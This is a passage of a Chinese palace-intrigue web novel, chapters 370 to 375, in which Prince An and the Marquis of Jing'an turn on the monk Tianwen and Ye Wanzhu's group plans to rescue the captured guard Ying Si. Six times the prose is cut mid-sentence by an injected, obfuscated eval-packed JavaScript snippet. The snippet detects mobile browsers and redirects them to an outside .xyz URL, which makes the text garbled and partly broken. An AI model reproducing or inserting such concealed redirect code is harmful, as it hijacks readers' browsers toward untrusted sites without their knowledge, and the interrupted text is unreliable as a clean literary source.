京城的大事小情已经全部都落到了这位手中,他这会儿撂挑子,保不齐要出多少乱子呢! 万一一个不慎,谁知道会酿成什么样的祸端? 隐月抿着嘴唇,表情一时间十分精彩。 见状,笑容又一次出现在倪宰相脸上,他背起双手,全然不惧还抵在自己胸膛上的剑尖,已经是一副游刃有余的样子。 “我说了,他不是来破坏我们的计划的。” 看着隐月,倪宰相又把这话说了一遍,神情比刚才还认真。 “放他走,之后的事情,我来跟你说就够了。” 话都说到这份儿上,能不放人吗? 隐月不甘地瞪着眼睛,目光在倪宰相和黑衣人身上来回打着转。 片刻之后,他忿忿地收了剑,本就重伤未愈,一张泛白的脸这会儿更是气得铁青。 “后退!”他头也不回地朝着身后的锦衣卫们发号施令。 锦衣卫虽然也心有不甘,但只能依言后退,将离开的路让给了那个黑衣人。 “你走吧。”倪宰相转过身子,“你说的话,老夫都记下了。” 那黑衣人闻言点点头,什么都没说,纵身而起,跃到空中又腾挪几下,很快就消失得无影无踪了。 隐月抬头看着他消失的方向,一只手背在身后,朝锦衣卫们打着信号。 离了这老相爷的眼前,他们要怎么抓人,这位还能管得着? “隐月侍卫。” 倪宰相这会儿却仿佛有了读心术,“我劝你不要自作聪明,小心弄巧成拙。” 隐月:…… 巧? 拙? “大人有话不妨直说。” 这会儿那黑衣人已经走得无影无踪了,隐月拉下脸,抬手一挥,锦衣卫们又纷纷而上,把倪宰相团团包围起来。 “我不管什么巧还是拙,我也不在乎大人的那点为官心得,”隐月的声音带着狠戾,“我是九千岁的手下,只听九千岁的命令,大人若是太有自己的想法,那小的也只能帮您修剪修剪了!” “你们!送相爷回屋,咱们慢慢聊!” 第三百七十章 本王只想和人争 南郡。 靖安侯府的后院之中,这会儿正热闹得很,鞭子的噼啪声和怒吼声交替响起,中间还夹杂着支离破碎的痛骂。 “龟儿子,你们这帮胳膊肘往外拐的畜生!” “你们不会有好下场的!” “问什么问?我呸!” “……” 靖安侯束手站在刑房之外,听着里面传来的阵阵混乱,他敛眉低目,瞧着仿佛全盘置身事外一般。 直到一个小厮快步跑进院中,在他耳边低语几句,靖安侯的表情这才有了变化。 “你在这里守着,有事来报。” 留下一句话,靖安侯大步离去,模样瞧着竟然有几分着急。 他大步流星地走着,径直拐入一间富丽堂皇的大院,又在二进的一间书房门前站定。 “王爷,京城有信来了。” “进来说话。” 屋里的人正是安王,他正靠在一张摇椅里,手中举着一本诗集,优哉游哉地看着。 靖安侯推门而入,他才直起身来。 “影卫已经将书信送到了倪宰相手中,”靖安侯开门见山,“倪宰相看过后果然态度大变,维护了影卫让他离开,为此还正面和谢无咎的手下对上了。” 听着这话,安王连眼睛都没多眨一下。 “本王知道了,”他点点头,“传信,让影卫等着,待时机恰当,本王会授意他该怎么做。” “是。” 靖安侯又低下头去,分明是个侯爷,此刻站在安王面前,却宛如一个传话小厮一般。 “还有什么事?” 等了片刻不见靖安侯离开,安王这便心里有了数,将书彻底合上放到一旁。 靖安侯果然又抬起头来。 “天问大师那边又差人来问了一次,说想要影四。” 一边说着话,他一边已经下意识地压低了声音。 那天晚上,安王撤离万源城后便断定谢无咎等人会联系京城,让他们在暗中蹲守,果然很快便发现了影四的踪迹。 他只身一人,毫不费力便被拿下,又关押进了这靖安侯府之中。 靖安侯让人搜出了他身上的信和玉佩,又换上自己的手下前往京城送信,到了这儿,影四的作用基本上就已经结束了。 那天晚上的行动,天问大师也在,想来他也看出了安王的计划,所以才几次三番地开口讨要影四。 天问大师在做什么,靖安侯也略知一二,影四武功高强,情绪丰沛,显然是个做实验的好苗子。 可安王却对此事表现出了极大的情绪。 “哼!” 一听这话,安王立刻便冷笑了一声。 他霍然翻身而起,躺椅也不坐了,腿一伸站了起来,一身气势顿时变得凛冽。 靖安侯连忙往后退了两步,心里又开始七上八下起来。 “他这是看不懂眼色,还是太看得懂?” 背着双手走到窗边,安王的语气比冬日里的风还冷。 “京城的消息刚回来,他就这么迫不及待地赶上了?”摩挲着窗棂,安王沉沉地叹息着,“一个秃驴,心未免太大!” 这话摆明了是对天问大师的不喜,靖安侯依旧不敢开腔,心跳得又快了些。 说起来,率先和天问大师合作的人是他,安王殿下则是从京城离开后,经他引荐,才和天问大师也保持了合作关系。 先前京中有个假安王,这位真正的殿下须得隐姓埋名,不露真容,将一切事情都推出去打理,自己不问世事。 可眼下,听着这话,靖安侯忽然想到了一种可能。 安王殿下,是不是从来就没有对天问大师看得上眼? 所以他才一直隐在幕后? 想到这儿,靖安侯背上的冷汗顿时全都下来了。 也是在这个时候,安王侧目朝着靖安侯看了一眼,露出了若有所思的神情。 “景辉,”他叫着靖安侯的字,“你我二人相识,已经有多长时间了?” 多长时间? 回忆着,靖安侯的神情不由得变得有些朦胧。 “回殿下的话,臣与殿下相识在十六岁武举时,算来已经有三十年了。” 靖安侯苏景辉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161427|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是三十年前武举的第一名,当年殿试之时,有人紧张之下射箭失了准头,险些一箭把还是二皇子的安王射死,正是他冲上去拦下箭矢,救了安王的性命。 安王感念他的举动,靖安侯还在京中的那段时间,安王对他大加照顾,二人渐渐引为知己。 后来…… 靖安侯的眼角忽然颤了颤。 后来南郡不宁,他主动请缨,在这里打赢了几场胜仗,又碰到了天问大师。 “殿下。” 思绪至此,靖安侯忽然抬起上半身,看了安王一眼,又猛地双膝跪地。 “臣永远是殿下的人!” “你知道就好。” 安王仍是八风不动地站在窗边,仿佛对靖安侯这突然的举动毫不意外。 “本王知道,你或许在想,只是一个没用的暗卫,在我们手里也是个死,本王为什么要如此激烈地反对将他交出去,是不是?” 这想法靖安侯的确有过,他张了张嘴,还是选择不作声。 “天问在干什么,你也知道吧?”听着身后安安静静的,安王又换了个问题。 “……是。”靖安侯再大胆,也不敢连着两个问题都不回答,垂着脑袋低声道。 安王敲了敲窗棂,反身过来的时候,又顺手把窗户关上了。 “把活生生的人,变成一个个怪物。” 压低了声音,安王的语气也变得有些重。 “那些怪物的样子,你可有见过?分明还是人的外表,却没了一点儿神智,景辉,你也是人,若是有朝一日,你也要变成这样,作何感想?” 靖安侯眨了眨眼,感觉喉头仿佛被什么堵住了,有些喘不上气。 “你还没看出来吗?那就是个连仁义道德的样子都不做一做的,彻头彻尾的畜生!” 攥了攥拳头,安王皱起眉,对天问大师的态度全在言语之间了。 “本王是要争,可本王只想和人争,我可不想看到大梁也变成南疆从前的那幅模样。” “南疆王被天问控制,制造出了几十万蛊兵,你也想当一堆虫子的总将军吗?” 第三百七十一章 皇家血脉和怪物大王 “臣没有!”靖安侯的否认脱口而出。 “你最好没有。” 安王的语气还是淡淡的,听不出里面有多少对靖安侯的相信,这让他更是冷汗直冒。 除了安王对自己的态度不明,靖安侯这会儿也顺着他的话想起了另外一件事情。 南疆王被天问大师控制了已经有一段时日,好端端的,怎么会忽然恢复了理智? 还是在天问大师即将拿下京城的那个节点…… 这事情不能细想,尤其是刚刚听过安王殿下的话之后,靖安侯又哆嗦了一下,一迭声地向安王表着忠心。 他是觉得天问大师是把好用的刀,可安王才是他效忠的主子! 主子不喜,就算再好的兵器,也没有死死抓在手里不放的道理! 可惜靖安侯是武将,不太会表现自己的心思,几句车轱辘话颠来倒去地说了好几遍,愣是想不出什么新花样。 偏生安王也不开口打断,沉默地听了五六遍“臣对殿下绝无二心”,“臣对殿下忠心耿耿”等等,又看着靖安侯抓耳挠腮了半晌,这才哂笑一声,弯腰将人从地上扶了起来。 “景辉,不是本王不信你,本王这是不得不防啊。” 长叹一声,安王的语气透着一丝惆怅。 “天问惯会舌灿莲花,妖言惑众,人心易变,本王也不敢轻易下定论。” 听着这推心置腹的感慨,靖安侯知道这是安王卸下心防的状态,不由得也长长地松了一口气! 总算是保住了自己这条小命! “事到如今,有些事情也该让你知道了。” 把人扶到桌边坐下,安王这时候话锋一转,“当年,本王被迫离开京城,到南郡来投奔你的原因,你可还记得?” 靖安侯还没从劫后余生的庆幸里回过神来,呆愣了片刻才缓缓点头。 “臣当然记得。” 当年安王被卷入大皇子和三皇子的斗争中,险些被设计要了性命,世人皆知他受伤后在别院休养,后来便闭门不出。 可全天下除了那个始作俑者,怕是只有安王和靖安侯知道,这样的刺杀,又在别院发生了一次。 安王当年是真的重伤,那刺客追到别院,差点儿就能要了他的性命,关键时刻,他身边的贴身侍从挺身而出,救了安王的命,这才让他登上逃离京城的马车。 后来,那侍从留在别院,一直代替安王的身份生活。 回忆着,靖安侯看向安王,有些不解他为什么旧事重提。 安王勾唇一笑,眼底什么温度都没有。 “当年在别院朝我下手的,就是天问的手下,他们身上那种臭味,我一闻就对得上号。” “……王爷?”靖安侯的表情这会儿十分幻灭。 如此说来,在南郡之前,天问大师就见过安王? 不仅如此,能贴着上一次的刺杀行动,足以表明天问大师对大皇子和三皇子的行踪也十分了解。 他不是第一天盯着京城了! 那他当初给两人引见的时候,这位怎么一点儿都没表现出来? 靖安侯忽然也皱起了眉头。 “现在你看出来了吧,”安王冷笑着,“你以为他是盟友,是想共赢的伙伴,那位大师的胃口可没有这么小。” “他能控制南疆王,也能控制大梁的皇帝,他想要的,一直都是称霸天下。” 靖安侯的眼角又跟着抽了抽。 天问大师有野心,这一点他一直都是知道的,可,可…… 可他不过是耍弄几个怪物,他怎么敢? “再跟他厮混下去,你我说不定都要成为他的盘中餐,或者,一个本事特别些的怪物。” 安王这时候又凉凉地开腔了。 “本王只想当人,所以……” “臣明白了。” 顶着一头,一背的冷汗,靖安侯忙不迭地道,“臣与王爷共进退!” 眼下昭德帝已死,京城乱成一团,只要他们杀了谢无咎这一行人,夺回江山,指日可待。 这条路上的绊脚石,的确只剩下天问大师一个人了。 狡兔死,走狗烹,靖安侯不是想不明白这个道理,却依旧什么都没说。 皇家血脉,和怪物大王。 傻子都知道选哪个! “王爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168278|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”靖安侯又想到一事,“天问大师未必不会有所提防,他从前讨要人质,也没有这么急迫过,如今怕不是……” 安王这会儿又已经走回桌边,将那本书重新拿了起来。 他随意翻过一页,面上的笑容透着漫不经心。 “他急,我们才要不急,再说,应该有些人比我们都要更急才对。” “您是说……谢无咎?” 靖安侯顿了顿,随即眼神微微一亮。 “王爷好手段!” 引得谢无咎和天问大师互相撕咬,他们便能坐收渔翁之利! 安王面上的笑容倒是随着这个名字的出现淡了淡。 谢无咎。 还有那个叫叶晚竹的女子。 在安王的计划里,自己从头到尾都不该现身,只需要等着他们两败俱伤。 可他还是被迫现出了身份。 这难道就是人算不如天算? 还是……命中注定? 这四个字出现在脑海当中,安王呼吸一窒,捏着书脊的手用力,顿时留下了几道深深的褶皱。 靖安侯感受着他的情绪忽然变化,心也跟着又开始一上一下。 他大概知道这是为什么。 先帝最看好的继位人选一直都是三皇子,谢无咎是三皇子的儿子,倘若安王的谋算败在他手里,那…… 咽了咽口水,靖安侯不敢再想下去。 长长地吸了一口气,安王闭了闭眼,再睁开的时候,便恢复了往日平静无波的模样。 “你去告诉天问,三天之后,老地方,交接影四。” “你懂本王的意思吧?” 靖安侯神情一凛,“臣明白!” 让谢无咎的人打听到影四的所在,再和天问大师正面对上。 新仇旧恨一起来,到时候,不用想也知道定是一场恶战! 不过…… “王爷,谢无咎真的会为了一个暗卫出动人手吗?”他想了想,还是陪着小心开了口。 安王轻嗤一声。 “这些影卫是我那三皇弟留给他的最后一点遗物,你说,他会不会来?” 第三百七十二章 两封密信 “找到了!主子,找到了!” 一大清早,邵威便一脸兴奋地敲响了叶晚竹的房门。 距离万源城十几里的地方,有一个叫雾川的小镇,叶晚竹一行人撤离万源后,如今便暂时在这里落脚。 不同于万源的四通八达,是附近的交通要塞,雾川四面环山,出入不便,镇中也没有多少人,非常适合他们隐匿行踪。 不过这并不妨碍邵威的消息渠道传信。 “怎么样?” 被他的声音吵醒,叶晚竹也没多少情绪,起身穿衣开门。 “王都那边传回的消息,”邵威兴奋得两眼直放光,“城里有个深居简出的富商,十有**就是安王,特征都能对上。” 闻言,叶晚竹的瞌睡彻底醒了。 这些天来,他们一直都在追查安王和靖安侯这两位忽然冒出来的敌人。 靖安侯其实不必多说,南郡的守关大将之一,先前南疆战乱的时候,负责在前方带兵冲杀的是孟希越,负责在后方安抚民心,稳定战果的人便是靖安侯。 靖安侯平日里行事作风低调,向来循规蹈矩,从没有闹出过什么乱子,大概也正是因此才能蛰伏这么长的时间而不被发现。 而安王分明是已死之人,却又出现在这千里之外的南疆,他来无影去无踪,倒是要多花些心思调查。 所幸叶晚竹先前在这里留了一手,眼下正好能派上用场。 把人都召集起来,叶晚竹才看向邵威手里的信,“说吧。” 邵威定了定神,语气变得正经了一些。 “据王都的人调查,那富商姓傅,不是南疆人,却已经在王都住了十几年。” “他虽然打着的是富商的旗号,可傅家名下除了一间香粉铺子之外,便再也没有旁的产业。” “饶是如此,傅家看上去也不缺花用,王都里有些老人知道此事,都说当年大伙儿猜测这傅家是不是做了什么见不得人的买卖,可是这么久过去,什么事儿也没出过,傅家依旧安安静静的,大家也就不提了。” 叶晚竹思忖着邵威的话,感觉确实能和安王对上。 “傅?” 谢无咎哼笑着发出了一点声音。 他今天又是坐着软轿来的,手里把玩着一只橘子,一上一下来回抛着,显得十分漫不经心。 “安王的母妃便是姓傅,没看出来,他一边抛家出逃,一边还有这样的孝顺心思。” 这话说的煞是冰冷,虽然谢无咎面上带笑,但任谁都能看出来,他的心情这会儿绝对算不上好。 叶晚竹和岑灵川不动声色地交换了一个目光。 谢无咎这次回来之后,便将当**情与他们又多说了一些。 安王**后住在别院,也是常年闭门不出,不仅如此,也还再也没有和他的母亲良太妃见过面。 他出事的时候是在宫中,恰好在良太妃殿里,众人都说安王是吓破了胆子,又需要休养云云,可日复一日,安王始终不和良太妃见面,甚至连她送去的下人都不见。 良太妃便以为儿子是怨憎了她,怪她让自己受了这一遭苦,心情郁郁寡欢,昭德帝登基还没两年她便去了。 从前大伙儿都说安王这是真吓坏了,可眼下看来,恐怕是真正的安王已经离开京城,留下的冒牌货担心露馅,故意而为之。 “这傅富商——” 岑灵川开口想问话,舌头却说得打结,连着呸了两声才重新掌握了嘴巴的控制权。 “他的铺子叫什么?查了没有?” “查了的!” 邵威准备周全,话锋一转继续汇报。 “傅家的香粉铺子就叫傅记,生意做的不好不坏,王都里流行什么香粉就卖什么,没有特色,重在便宜实惠。” 说到傅记,邵威的话倒是多了些。 他在南疆王都的时候,手下线人不少,有男也有女,遍布各行各业。 其中有一个姑娘困于烟花之地,给邵威做线人,就是为了攒赎身钱。 “那姑娘说,花街柳巷里最爱用傅记的香粉,好几家青楼都是傅记多年的主顾。” 听到这儿,叶晚竹不由得冷笑了一声。 “原来如此,香粉铺子是掩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168279|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人耳目,安王真正的眼线和渠道,恐怕就在这些地方。” 三教九流**之地,什么都传得快。 “让人继续去查,”她轻轻地敲了敲桌子,“重点就放在傅记的主顾上,务必要把这位傅富商查个一清二楚。” 安王在南疆蛰伏了这么多年,做过什么事情谁也不清楚。 还是小心为上。 “是。”邵威连忙低头应下,又重新抬眼朝着三位看了过去。 “有话就说吧。” 轻笑一声,谢无咎撑着脑袋,面上已经看不出半分方才的不悦。 邵威眨了眨眼,又从怀里摸出另外一个蜡丸,里面也放着一封密信。 他将那蜡丸放到桌上,一双眼睛依旧看着谢无咎。 见状,谢无咎挑了挑眉,伸手将信拿了起来。 “影四的下落?哦,他被抓了。” 微微抬高语气,却听不出喜怒,谢无咎扯了扯嘴角,又继续看了下去。 “万源旧城外的破庙地下的地道尽头的祠堂……这个地方还真难找。” 岑灵川正在喝茶,闻言顿时呛住了,捏着自己的脖子咳嗽得停不下来。 这个长长的指路……怎么有点耳熟啊! “是静颜引导我们去过一次的那个地方。” 叶晚竹抱起双臂,偏着脑袋看了看谢无咎手里的纸条,顿时又冷笑了起来。 这上面连他们上次遭遇到的机关暗算,和解决办法都一并给了,详细得好像生怕他们救不出影四似的。 “师妹,”岑灵川这时候咳嗽完了,笑容阴戾,“看来咱们上一次是没找到所有线索,还得让这秃驴再费尽力气布局,让咱们大张旗鼓地去一回。” “哦?” 谢无咎饶有兴致地看着岑灵川,“师兄是这么想的?” “谁让你跟着这么叫的?” 岑灵川先是瞪了瞪眼,随后又一皱眉,“我这话有什么问题?” 谢无咎但笑不语,朝着邵威扫了一眼。 “那个……岑大侠,这密信不是咱们自己人送来的。” 第三百七十三章 别扭? 邵威伸手举了举,笑容有些讪讪的。 叶晚竹和谢无咎的关系,虽然两人不曾特意明说,可一路走来,大伙儿都是有目共睹的。 邵威是叶晚竹的手下,主子们的事情,他自然是不会插手去管。 可岑灵川是主子的师兄,碰上这种场面,便总要多说两句。 邵威不由得想,以己度人,要是换成他,疼爱的小妹和这样一堆事情卷在一起,他也不高兴! 这么想着,邵威的态度就更小心翼翼了,看向岑灵川的时候,眼底带着自己都没发现的忧伤。 不容易啊! “你……” 被邵威看得全身上下的鸡皮疙瘩都起来了,岑灵川张口想说话,不知道想到了什么,又硬生生把话咽了回去。 “你继续说!”他越发没好气了,“这消息哪儿来的?” 邵威也更是陪着小心。 “是刚才我去取信的时候,在鸽笼捡到的。” 邵威建立的这个消息网遍及南疆,在大梁也有不少据点,包括给叶晚竹传信,往来都是用信鸽传递消息的。 也是因此,鸽笼的守卫向来也很严密,这还是邵威第一次发现了问题。 “鸽笼?” 闻言,岑灵川也顾不上耍嘴了,眉头一皱把身子坐正。 他们眼下住在雾川的一座大宅里,镇上的百姓大部分都在外面讨生活,这大宅子早就废弃了,谢无咎让人出面贷下,如今里里外外就是他们自己的地盘。 能把东西悄无声息地送进这里? 一定是高手所为! “天问那秃驴?” 一句话说出,岑灵川立刻感到不对劲。 秃驴再剑走偏锋,也不应该偏到自己把自己给卖了个一干二净吧? 那…… “应该是安王。” 叶晚竹这时候又从谢无咎手中把纸条拿了过去,前前后后地观察。 没有落款,纸条上也没有能表明身份的证据。 做得这么干净,却恰好暴露出对方一点儿也不想暴露自己的打算。 “影四是我们的人,他被抓,我们第一个怀疑的对象肯定是天问秃驴。” 叶晚竹把纸条往桌上一撂,“如果有一个人希望我们狗咬狗,那肯定就是安王和靖安侯了。” “殿下所言极是。”谢无咎端起一杯热茶,慢悠悠地笑着看了过来。 叶晚竹勾了勾嘴角,“谢都督谬赞。” “等,等一下……” 岑灵川这时候又举起手来,眉头也微微皱起,看上去煞是迷茫。 “天问秃驴和安王不是一伙儿的吗?怎么要互相反目了?” 谢无咎冷冷清清地笑了一下。 “安王隐姓埋名了这么久,总不能真的只想在南疆做个富商吧?他所求的东西,和天问秃驴是一样的。” 一山不容二虎,从前大梁安宁,这两个人各怀鬼胎,还能勉强携手。 可经过天问大师去往京城的这一回,他的野心已经全盘暴露,安王又不是傻子。 “这两个人,都以为自己掩饰得很好,都想拿对方当筏子,”叶晚竹的语气也淡淡的,“现在双方都暴露了,难道还会继续合作不成?” 她又用眼神朝那张纸条点了点。 “这就是最好的证明。” 岑灵川听得眼角直抽,这帮人,连自己人都防着! 不过说到底,这两方也根本就没交心就是了。 “管他的呢!”他一甩胳膊,“都杀了!咱们先杀谁?” 谢无咎似乎是被他逗乐了,肩膀笑得一抽一抽的。 “既然能把影四的消息送到这儿来,我想,安王一定也安排了人在附近看着。” 叶晚竹斜晲了乐不可支的谢无咎一眼,冷声道,“正好是个机会,救了影四,还能挫一挫天问秃驴的锐气。” 无论是天问大师还是安王,都是算计他们的敌人,只要有机会,叶晚竹必然不会放过。 再者说…… “安王想算计秃驴,也不知道秃驴反应过来没有?”她忽然笑了笑,“我们帮一把手也不错。” 天问秃驴是何等的小心眼,怎么会任由别人算计而不还手? 况且这个人还是昔日的同盟。 叶晚竹勾着嘴唇,笑容越发森冷。 安王想作壁上观,她非得想个办法把他拉下来! 否则,这场戏怎么能唱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168280|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得热热闹闹的? 侧目看向谢无咎,叶晚竹挑了挑眉,收到一个了然的微笑。 “殿下所想,便是本督所想。”谢无咎笑容平静。 “那就这么定了!” 几人又用了一炷香的时间商量对策,等终于讨论出个结果,已经到了午饭时分。 按照那纸条所说,天问大师会在今天晚上动手,把影四做成怪物,留下的时间正好够他们出发。 “你行不行?” 岑灵川作为打头的先锋,正要再早些离开,刚站起身,却又朝着谢无咎看了过去。 叶晚竹的目光也跟着移动。 不知道他是怎么从天问那秃驴的地盘上跑出来的,期间还又经历了什么,总之,初到南疆时候连站起来都费劲的谢无咎,眼下已经能走能跑,还能跟人过上两招了。 看起来,他的身体状况似乎是恢复了正常。 可谢无咎的脸色却依旧不好,对叶晚竹的提问也总避而不答。 这会儿被岑灵川问了一句,谢无咎先是愣了一下,随后歪着头,露出一个懒洋洋的笑容。 “师兄放心,你不行了我都行。” 岑灵川:…… “你是不是在骂我?”他挺直了背。 谢无咎但笑不语。 岑灵川气得也笑了起来,“好好好!” “岑大侠!岑大侠!” 眼看这两位好像要打起来似的,邵威连忙硬着头皮上前,小心翼翼地拉住了岑灵川的衣袖。 “时间不早了,您赶紧出发吧!”他苦着一张脸道。 岑灵川愣了一下,回头看向邵威,那目光让后者忍不住一激灵。 他说错什么了? 直到跟着岑灵川走出屋子,邵威还在迷茫,却又被岑灵川抬手搂住了肩膀。 “怕我跟他打起来?”岑灵川笑眯眯地,好像已经明白过来。 “……”邵威苦笑。 他敢说是吗? 他也怕挨打啊! “你说你,一个收集情报的,怎么这么没有眼力见?” 邵威:? “我和九千岁闹着玩呢,你看不出来?” 邵威:?? 第三百七十四章 都想看狗咬狗 这,这谁能看出来? 邵威甚至想怒吼! 有这么闹着玩的吗? “……岑大侠,您别玩我行吗?”思来想去,邵威的表情忍不住变得更苦了。 他是不是就不应该来万源? 如果他不来万源,这会儿说不定还好好地在王都里呆着呢! 肩膀上的力度变轻了,岑灵川拿开自己的胳膊,又拍了拍邵威的后背。 “你有什么好玩的?”他从头到脚都写满了嫌弃。 邵威张了张嘴,正午的时辰,他却感觉好像委屈得天都要黑了! 谁让他玩了! “我……” “行了行了。” 又摆了摆手,岑灵川龇牙咧嘴地笑了一下。 “赶紧去准备吧,我一炷香之后要出发。” 顿了顿,正要离开,岑灵川脚下的动作又微微一顿。 “保持你的忠心,现在这样不错。” ……这又是什么意思? 岑灵川的话题转变太快,邵威一时间又愣住了,呆呆地站在原地,看着他的背影消失得无影无踪,这才猛地一个激灵,回过神来。 刚才那话……是岑大侠在让他安心吧? 可他要安什么心? 低头看了看自己的手,攥着纸条的触感似乎还停留在手心,邵威却感到自己浑身上下的鸡皮疙瘩瞬间起来了。 方才在屋中,或许他已经经历了一次考验,现在是通过了,才能活着出来! 邵威欲哭无泪,同时又长长地松了一口气。 毕竟鸽笼是他在管理,南疆的消息向来也是由他传递,出了问题,他被怀疑也是正常的。 最关键的,是他有前科! 踉踉跄跄地迈开步子,邵威走得一步一哆嗦,心里更是后悔得无处可说。 如果能重来一次,他绝对!不会!再和那什么安王世子合作! 简直是他人生的污点! 屋中,听着外面的声音都消失,脚步声也远去,叶晚竹收回目光,这才看向谢无咎。 “满意了?” 谢无咎一只手撑在下巴上,不紧不慢地唔了一声,“还可以吧。” 看到那个来历不明的纸条,谢无咎起疑心只需要一瞬间。 好在邵威的表现相对正常,他应该没有出什么问题。 叶晚竹抿了抿唇,没出声,有些不知道该说什么。 她是不喜欢这样试探手下人的,很容易弄巧成拙,反而招致更多的不信任。 可连谢无咎先前都被掉包,不试探一下,叶晚竹自己也不敢完全放心。 “都怪那帮不怀好意之人。”她皱着眉头,语气有些沉。 谢无咎眼底的笑容也淡了淡,片刻后重新**起来,又成了另外一番情绪。 “不能让他们再蹦跶太久了,”他眉眼锐利,“安王想看狗咬狗,最后,怕不是自己屁股上的**要掉光。” 大敌当前倒是开始内讧,安王这是看不起他们。 也好,多给他们些机会也不错。 “你有想法了?”叶晚竹笑着挑了挑眉。 谢无咎一颔首,模样说不出的骄傲。 “愿闻其详。” “那你靠过来一些。” —— “师父,为什么我们要到这种地方来?” 紫金岭上,德慧小和尚气喘吁吁地跟在天问大师身后,深一脚浅一脚地走着。 这师徒二人脚下的路似乎从来没有被人走过,长满藤蔓树根,上面还覆着青苔,凹凸不平,十分难走。 德慧小和尚被救走后虽然用药让自己断掉的骨头都重新接了起来,但这会儿还是不太灵活,走在这样的路上更是吃力得很。 他踉踉跄跄了一路,早已经耐心全无,见走在前面的师父不理会自己,下意识地便想发脾气。 可刚张开口,他却又硬生生地停住了。 天问大师这会儿却好像长了后眼,能看见德慧的动作似的。 他脚步不停,却冷笑了一声。 “德慧,你是越长大,越不明白道理,现在连师父的话都敢质问了。” “……徒儿错了。” 闻言,德慧小和尚顿时蔫头耷脑地缩起脖子,再也不说话了。 天问大师刚才脚步如飞,却又忽然顿住了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172972|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他转过身子,“怎么,你连心事都不想和师父说了?” 看着师父依旧平静淡然的脸,仿佛能洞悉一切,德慧小和尚咬了咬嘴唇,却还是没说话。 他确实有心事。 他在想叶晚竹那个贱女人说过的话。 他怎么可能是那个贱东西的儿子? 德慧自从有记忆开始,就生长在南疆,在天问大师身边,几个月前跟着师父去大梁,是他第一次去那么远的地方。 叶晚竹是大梁京城人,她的儿子,怎么会在南疆长大? 饶是这么想着,可叶晚竹的那几句话,还是在德慧心里翻来覆去地出现着。 不知道是从什么时候起,他晚上开始做梦,梦里的自己不是小和尚,不是被捡回来的孤儿,而是锦衣玉食的小世子,是住在大王府的孩子! 那些事情真实得好像就在他眼前发生,德慧甚至能想起接下来的发展。 可一睁眼,一切又都消失不见了。 梦境太过真实,倒显得现实虚假起来,德慧这会儿看着面前的师父,不知为何,忽然感到一阵陌生。 他便是把这些话都告诉师父,又能怎么样? 德慧有种强烈的预感,师父只会告诉他那些都是假的,是叶晚竹故意说出来扰乱他心思的话。 “没什么,师父。” 别开眼,德慧又飞快地舔了舔嘴唇。 “只是伤口还没完全长好,还有点难受而已。” 看着垂着脑袋站在自己面前的小和尚,明显是没说实话的模样,天问大师眼底那点故意伪装出来的笑意,顷刻间就消失得无影无踪了。 德慧身上有一半那个叫萧延的孩子体内的情绪。 当初他本想保下萧延,毕竟被那样杀死,心底的怨气肯定十分深重,可惜萧延身子太虚,刺激到一半就不行了。 无奈之下,他只好将成功的那一半结果放到德慧身上。 没想到眼下看来,被寄存在德慧身上的东西,除了情绪,大概还有记忆。 蹙了蹙眉,天问大师眼底忽然闪过一丝精光。 “德慧……” “大师?您可让小的好找。” 第三百七十五章 偷袭 正要说话,却忽然被从身后出现的声音打断,天问大师有些不悦地皱了皱眉。 可等转过身子,他却又已经恢复了得道高僧的模样。 “可是王爷到了?”静静地看着这个出现在自己身后的影卫,天问大师的语气也十分平静。 